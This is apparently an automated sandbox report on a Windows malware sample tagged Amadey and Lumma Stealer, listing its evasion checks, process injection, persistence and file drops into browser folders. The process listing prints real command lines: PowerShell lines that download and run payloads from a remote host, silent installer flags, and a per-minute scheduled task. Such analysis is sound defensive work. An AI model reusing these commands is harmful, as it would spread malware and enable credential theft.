Malware Analysis Report

2024-11-30 05:13

Sample ID 240520-bnvntadc7s
Target f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe
SHA256 f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd
Tags
amadey c767c0 evasion trojan lumma discovery execution stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd

Threat Level: Known bad

The file f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe was found to be: Known bad.

Malicious Activity Summary

amadey c767c0 evasion trojan lumma discovery execution stealer

Lumma Stealer

Amadey

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Downloads MZ/PE file

Blocklisted process makes network request

Loads dropped DLL

Checks computer location settings

Executes dropped EXE

Checks BIOS information in registry

Identifies Wine through registry keys

Checks installed software on the system

Looks up external IP address via web service

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in System32 directory

Suspicious use of SetThreadContext

Drops file in Windows directory

Drops file in Program Files directory

Enumerates physical storage devices

Command and Scripting Interpreter: PowerShell

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

Script User-Agent

Kills process with taskkill

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-20 01:17

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-20 01:17

Reported

2024-05-20 01:20

Platform

win7-20240508-en

Max time kernel

142s

Max time network

132s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe"

Signatures

Amadey

trojan amadey

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A

Enumerates physical storage devices

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe

"C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

Network

Country Destination Domain Proto
RU 5.42.96.7:80 5.42.96.7 tcp

Files

memory/3068-0-0x0000000000C20000-0x00000000010E5000-memory.dmp

memory/3068-1-0x0000000077400000-0x0000000077402000-memory.dmp

memory/3068-2-0x0000000000C21000-0x0000000000C4F000-memory.dmp

memory/3068-3-0x0000000000C20000-0x00000000010E5000-memory.dmp

memory/3068-5-0x0000000000C20000-0x00000000010E5000-memory.dmp

memory/3068-9-0x0000000000C20000-0x00000000010E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

MD5 d7153d7505810d7600f9c3d879eb344d
SHA1 f55f9b4f69f2fe2b5cd5e4129aa8b4c1fa894102
SHA256 f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd
SHA512 406c937d19448e9457198aa8c3df21681a6ab2d5874c1f4b89ab8bcd028d21786ea1e2b3ebcefa59d69fd53eaf6f2041b730a90cd33c0941766fc24dca5b39cc

memory/2788-18-0x0000000001290000-0x0000000001755000-memory.dmp

memory/3068-17-0x0000000006C80000-0x0000000007145000-memory.dmp

memory/3068-15-0x0000000000C20000-0x00000000010E5000-memory.dmp

memory/2788-19-0x0000000001291000-0x00000000012BF000-memory.dmp

memory/2788-20-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-22-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-23-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-24-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-25-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-26-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-27-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-28-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-29-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-30-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-31-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-32-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-33-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-34-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-35-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-36-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-37-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-38-0x0000000001290000-0x0000000001755000-memory.dmp

memory/2788-39-0x0000000001290000-0x0000000001755000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-20 01:17

Reported

2024-05-20 01:20

Platform

win10v2004-20240508-en

Max time kernel

144s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe"

Signatures

Amadey

trojan amadey

Lumma Stealer

stealer lumma

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe N/A

Checks installed software on the system

discovery

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.amazonaws.com N/A N/A
N/A checkip.amazonaws.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\shlwapi_p.dll C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3600 set thread context of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Online Security\is-R6G3F.tmp C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File opened for modification C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\Extensions\updates.xml C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\dlls\Shlwapi.dll C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\chrome.exe.manifest C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File opened for modification C:\Program Files\Online Security\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\Extensions\security.crx C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.manifest C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\security.crx C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files\Online Security\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files\scoped_dir4964_87324971\extension.zip C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File created C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\updates.xml C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3100 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 3100 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 3100 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 440 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 440 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 440 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 1972 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 1972 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 1972 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 1972 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 1972 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 1972 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 440 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 440 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 440 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 3328 wrote to memory of 972 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 3328 wrote to memory of 972 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 3328 wrote to memory of 972 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3600 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 972 wrote to memory of 3292 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 3292 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 3292 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 1648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 1648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 1648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 4824 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 972 wrote to memory of 4824 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 972 wrote to memory of 4824 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 972 wrote to memory of 3840 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 3840 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 972 wrote to memory of 3840 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4824 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp
PID 4824 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp
PID 4824 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp
PID 5064 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 5064 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 2096 wrote to memory of 4964 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2096 wrote to memory of 4964 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4964 wrote to memory of 4128 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4964 wrote to memory of 4128 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4856 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 5064 wrote to memory of 4856 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 5064 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 5064 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 5064 wrote to memory of 4416 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\SYSTEM32\taskkill.exe
PID 5064 wrote to memory of 4416 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\SYSTEM32\taskkill.exe
PID 5064 wrote to memory of 676 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\SYSTEM32\taskkill.exe
PID 5064 wrote to memory of 676 N/A C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp C:\Windows\SYSTEM32\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe

"C:\Users\Admin\AppData\Local\Temp\f71eb13cee017420a630eeaef421c2df8b6b3ab7e164e5bfd57907f182c7c1bd.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F

C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe

"C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe"

C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsi5C5A.tmp\abc.bat"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"

C:\Users\Admin\AppData\Local\Temp\i0.exe

i0.exe /verysilent /sub=1000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"

C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp

"C:\Users\Admin\AppData\Local\Temp\is-Q6T5M.tmp\i0.tmp" /SL5="$1101BE,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-205KV.tmp\qjpycv > "C:\Users\Admin\AppData\Local\Temp\is-205KV.tmp\~execwithresult.txt""

